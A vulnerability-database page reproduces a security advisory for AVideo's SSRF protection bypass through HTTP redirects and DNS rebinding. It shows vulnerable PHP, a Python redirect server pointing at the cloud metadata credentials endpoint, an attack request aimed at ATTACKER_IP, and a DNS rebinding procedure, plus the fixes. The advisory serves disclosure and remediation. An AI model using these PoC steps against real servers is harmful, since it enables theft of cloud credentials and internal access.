GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-2HCH-C97C-G99X

Vulnerability from github – Published: 2026-05-05 22:16 – Updated: 2026-05-13 14:21
VLAI
Summary
AVideo has SSRF Protection Bypass via HTTP Redirect and DNS Rebinding in isSSRFSafeURL()
Details

Summary

Two endpoints in AVideo call isSSRFSafeURL() to validate user-supplied URLs, then fetch them using bare file_get_contents() without disabling PHP's automatic redirect following. An attacker can supply a URL pointing to a server they control that returns a 302 redirect to an internal/cloud-metadata address (e.g., http://169.254.169.254/latest/meta-data/). Since isSSRFSafeURL() only validates the initial URL, the redirect target bypasses all SSRF protections.

A secondary finding is that 6+ callers of isSSRFSafeURL() discard the $resolvedIP out-parameter meant for DNS pinning, leaving them vulnerable to DNS rebinding TOCTOU attacks.

Severity: High — CVSS 3.1: 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)

Details

Finding 1: Redirect-Based SSRF Bypass

Vulnerable code — plugin/AI/receiveAsync.json.php (line ~162–165):

// SSRF Protection: Validate URL before fetching
if (!isSSRFSafeURL($imageUrl)) {
    // blocked
} else {
    $imageContent = file_get_contents($imageUrl);  // ← FOLLOWS REDIRECTS!
}

Vulnerable code — objects/EpgParser.php (line ~358–362):

if (!isSSRFSafeURL($this->url)) {
    throw new \RuntimeException('URL blocked by SSRF protection');
}
$this->content = @file_get_contents($this->url);  // ← FOLLOWS REDIRECTS!

Safe code for comparison — objects/functions.php, url_get_contents():

$opts = ['http' => ['follow_location' => 0]];  // Disable auto-redirect
$context = stream_context_create($opts);
for ($redirectCount = 0; $redirectCount <= 5; $redirectCount++) {
    $fetched = file_get_contents($currentUrl, false, $context);
    // ... parse Location header ...
    if ($redirectTarget) {
        if (!isSSRFSafeURL($redirectTarget)) {  // Re-validates EACH hop
            return false;
        }
        $currentUrl = $redirectTarget;
        continue;
    }
    $tmp = $fetched;
    break;
}

Root cause: The SSRF redirect protection (follow_location=0 + manual redirect loop with per-hop isSSRFSafeURL() re-validation) was correctly implemented in url_get_contents() but NOT propagated to these two endpoints that call file_get_contents() directly. PHP's default follow_location is 1 (follow redirects).

Finding 2: DNS Rebinding TOCTOU (Multiple Callers)

isSSRFSafeURL() provides a $resolvedIP out-parameter for DNS pinning via CURLOPT_RESOLVE. Only 1 of 9 callers (plugin/LiveLinks/proxy.php) uses it. The remaining 8 callers discard it and pass the original hostname to the fetching function, which resolves DNS independently — creating a TOCTOU race window exploitable via DNS rebinding (TTL=0).

Affected callers (no DNS pinning): - objects/aVideoEncoderReceiveImage.json.php — 4 call sites - objects/aVideoEncoder.json.php — 1 call site - plugin/BulkEmbed/save.json.php — 1 call site - plugin/AI/receiveAsync.json.php — 1 call site - objects/EpgParser.php — 1 call site - plugin/Scheduler/Scheduler.php — 1 call site

PoC

Redirect Bypass PoC

  1. Attacker runs an HTTP server that returns a 302 redirect:
from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header("Location", "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
        self.end_headers()

HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()
  1. Attacker triggers AI image generation and intercepts the callback:
POST /plugin/AI/receiveAsync.json.php
Content-Type: application/x-www-form-urlencoded

type=image&token=VALID_TOKEN&ai_responses_id=ID&response[data][0][url]=http://ATTACKER_IP:8888/redir
  1. isSSRFSafeURL("http://ATTACKER_IP:8888/redir") resolves attacker IP → public → passes
  2. file_get_contents("http://ATTACKER_IP:8888/redir") follows 302 to http://169.254.169.254/... — no SSRF re-check occurs
  3. Cloud metadata (including IAM credentials) is saved as a video thumbnail, retrievable by the attacker

Control test: Replace the redirect target with a legitimate public URL — isSSRFSafeURL() passes and the content is fetched normally, confirming the function works for non-malicious URLs.

DNS Rebinding PoC

  1. Configure a domain with TTL=0 DNS that alternates:
  2. First query: public IP (passes isSSRFSafeURL)
  3. Second query: 127.0.0.1 (reaches internal services)
  4. Submit http://rebind.attacker.com/image.jpg to any affected endpoint
  5. isSSRFSafeURL() resolves → public IP → passes (discards $resolvedIP)
  6. url_get_contents() / file_get_contents() resolves again → 127.0.0.1 → SSRF achieved

Impact

An authenticated attacker can force the AVideo server to make HTTP requests to arbitrary internal hosts, including: - Cloud metadata endpoints (169.254.169.254) — exfiltrate IAM credentials, instance identity - Internal services on localhost or private network (databases, admin panels, monitoring) - Port scanning of the internal network using the server as a proxy

The exfiltrated data is stored as video thumbnails/images, making it retrievable through the application's public interface.

Suggested Fix

Fix 1 (Redirect bypass — immediate): Route both affected files through url_get_contents() which already handles redirects safely, or add explicit no-redirect context:

$ctx = stream_context_create(['http' => ['follow_location' => 0]]);
$imageContent = file_get_contents($imageUrl, false, $ctx);

Fix 2 (DNS rebinding — defense-in-depth): Update all callers to capture $resolvedIP and pass it to a DNS-pinning-aware fetch function using CURLOPT_RESOLVE.

Credit

Kai Aizen kai.aizen.dev@gmail.com

Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43884"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T22:16:33Z",
    "nvd_published_at": "2026-05-11T22:22:13Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nTwo endpoints in AVideo call `isSSRFSafeURL()` to validate user-supplied URLs, then fetch them using bare `file_get_contents()` **without disabling PHP\u0027s automatic redirect following**. An attacker can supply a URL pointing to a server they control that returns a 302 redirect to an internal/cloud-metadata address (e.g., `http://169.254.169.254/latest/meta-data/`). Since `isSSRFSafeURL()` only validates the *initial* URL, the redirect target bypasses all SSRF protections.\n\nA secondary finding is that 6+ callers of `isSSRFSafeURL()` discard the `$resolvedIP` out-parameter meant for DNS pinning, leaving them vulnerable to DNS rebinding TOCTOU attacks.\n\n**Severity:** High \u2014 CVSS 3.1: 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)\n\n### Details\n\n#### Finding 1: Redirect-Based SSRF Bypass\n\n**Vulnerable code \u2014 `plugin/AI/receiveAsync.json.php` (line ~162\u2013165):**\n\n```php\n// SSRF Protection: Validate URL before fetching\nif (!isSSRFSafeURL($imageUrl)) {\n    // blocked\n} else {\n    $imageContent = file_get_contents($imageUrl);  // \u2190 FOLLOWS REDIRECTS!\n}\n```\n\n**Vulnerable code \u2014 `objects/EpgParser.php` (line ~358\u2013362):**\n\n```php\nif (!isSSRFSafeURL($this-\u003eurl)) {\n    throw new \\RuntimeException(\u0027URL blocked by SSRF protection\u0027);\n}\n$this-\u003econtent = @file_get_contents($this-\u003eurl);  // \u2190 FOLLOWS REDIRECTS!\n```\n\n**Safe code for comparison \u2014 `objects/functions.php`, `url_get_contents()`:**\n\n```php\n$opts = [\u0027http\u0027 =\u003e [\u0027follow_location\u0027 =\u003e 0]];  // Disable auto-redirect\n$context = stream_context_create($opts);\nfor ($redirectCount = 0; $redirectCount \u003c= 5; $redirectCount++) {\n    $fetched = file_get_contents($currentUrl, false, $context);\n    // ... parse Location header ...\n    if ($redirectTarget) {\n        if (!isSSRFSafeURL($redirectTarget)) {  // Re-validates EACH hop\n            return false;\n        }\n        $currentUrl = $redirectTarget;\n        continue;\n    }\n    $tmp = $fetched;\n    break;\n}\n```\n\n**Root cause:** The SSRF redirect protection (`follow_location=0` + manual redirect loop with per-hop `isSSRFSafeURL()` re-validation) was correctly implemented in `url_get_contents()` but NOT propagated to these two endpoints that call `file_get_contents()` directly. PHP\u0027s default `follow_location` is `1` (follow redirects).\n\n#### Finding 2: DNS Rebinding TOCTOU (Multiple Callers)\n\n`isSSRFSafeURL()` provides a `$resolvedIP` out-parameter for DNS pinning via `CURLOPT_RESOLVE`. Only 1 of 9 callers (`plugin/LiveLinks/proxy.php`) uses it. The remaining 8 callers discard it and pass the original hostname to the fetching function, which resolves DNS independently \u2014 creating a TOCTOU race window exploitable via DNS rebinding (TTL=0).\n\n**Affected callers (no DNS pinning):**\n- `objects/aVideoEncoderReceiveImage.json.php` \u2014 4 call sites\n- `objects/aVideoEncoder.json.php` \u2014 1 call site\n- `plugin/BulkEmbed/save.json.php` \u2014 1 call site\n- `plugin/AI/receiveAsync.json.php` \u2014 1 call site\n- `objects/EpgParser.php` \u2014 1 call site\n- `plugin/Scheduler/Scheduler.php` \u2014 1 call site\n\n### PoC\n\n#### Redirect Bypass PoC\n\n1. Attacker runs an HTTP server that returns a 302 redirect:\n\n```python\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(302)\n        self.send_header(\"Location\", \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\")\n        self.end_headers()\n\nHTTPServer((\"0.0.0.0\", 8888), RedirectHandler).serve_forever()\n```\n\n2. Attacker triggers AI image generation and intercepts the callback:\n\n```\nPOST /plugin/AI/receiveAsync.json.php\nContent-Type: application/x-www-form-urlencoded\n\ntype=image\u0026token=VALID_TOKEN\u0026ai_responses_id=ID\u0026response[data][0][url]=http://ATTACKER_IP:8888/redir\n```\n\n3. `isSSRFSafeURL(\"http://ATTACKER_IP:8888/redir\")` resolves attacker IP \u2192 public \u2192 **passes**\n4. `file_get_contents(\"http://ATTACKER_IP:8888/redir\")` follows 302 to `http://169.254.169.254/...` \u2014 **no SSRF re-check occurs**\n5. Cloud metadata (including IAM credentials) is saved as a video thumbnail, retrievable by the attacker\n\n**Control test:** Replace the redirect target with a legitimate public URL \u2014 `isSSRFSafeURL()` passes and the content is fetched normally, confirming the function works for non-malicious URLs.\n\n#### DNS Rebinding PoC\n\n1. Configure a domain with TTL=0 DNS that alternates:\n   - First query: public IP (passes `isSSRFSafeURL`)\n   - Second query: `127.0.0.1` (reaches internal services)\n2. Submit `http://rebind.attacker.com/image.jpg` to any affected endpoint\n3. `isSSRFSafeURL()` resolves \u2192 public IP \u2192 passes (discards `$resolvedIP`)\n4. `url_get_contents()` / `file_get_contents()` resolves again \u2192 `127.0.0.1` \u2192 SSRF achieved\n\n### Impact\n\nAn authenticated attacker can force the AVideo server to make HTTP requests to arbitrary internal hosts, including:\n- **Cloud metadata endpoints** (169.254.169.254) \u2014 exfiltrate IAM credentials, instance identity\n- **Internal services** on localhost or private network (databases, admin panels, monitoring)\n- **Port scanning** of the internal network using the server as a proxy\n\nThe exfiltrated data is stored as video thumbnails/images, making it retrievable through the application\u0027s public interface.\n\n### Suggested Fix\n\n**Fix 1 (Redirect bypass \u2014 immediate):** Route both affected files through `url_get_contents()` which already handles redirects safely, or add explicit no-redirect context:\n```php\n$ctx = stream_context_create([\u0027http\u0027 =\u003e [\u0027follow_location\u0027 =\u003e 0]]);\n$imageContent = file_get_contents($imageUrl, false, $ctx);\n```\n\n**Fix 2 (DNS rebinding \u2014 defense-in-depth):** Update all callers to capture `$resolvedIP` and pass it to a DNS-pinning-aware fetch function using `CURLOPT_RESOLVE`.\n\n### Credit\n\nKai Aizen \u003ckai.aizen.dev@gmail.com\u003e",
  "id": "GHSA-2hch-c97c-g99x",
  "modified": "2026-05-13T14:21:00Z",
  "published": "2026-05-05T22:16:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-2hch-c97c-g99x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-2hch-c97c-g99xg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43884"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/603e7bf77a835584387327e35560262feb075db3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has SSRF Protection Bypass via HTTP Redirect and DNS Rebinding in isSSRFSafeURL()"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.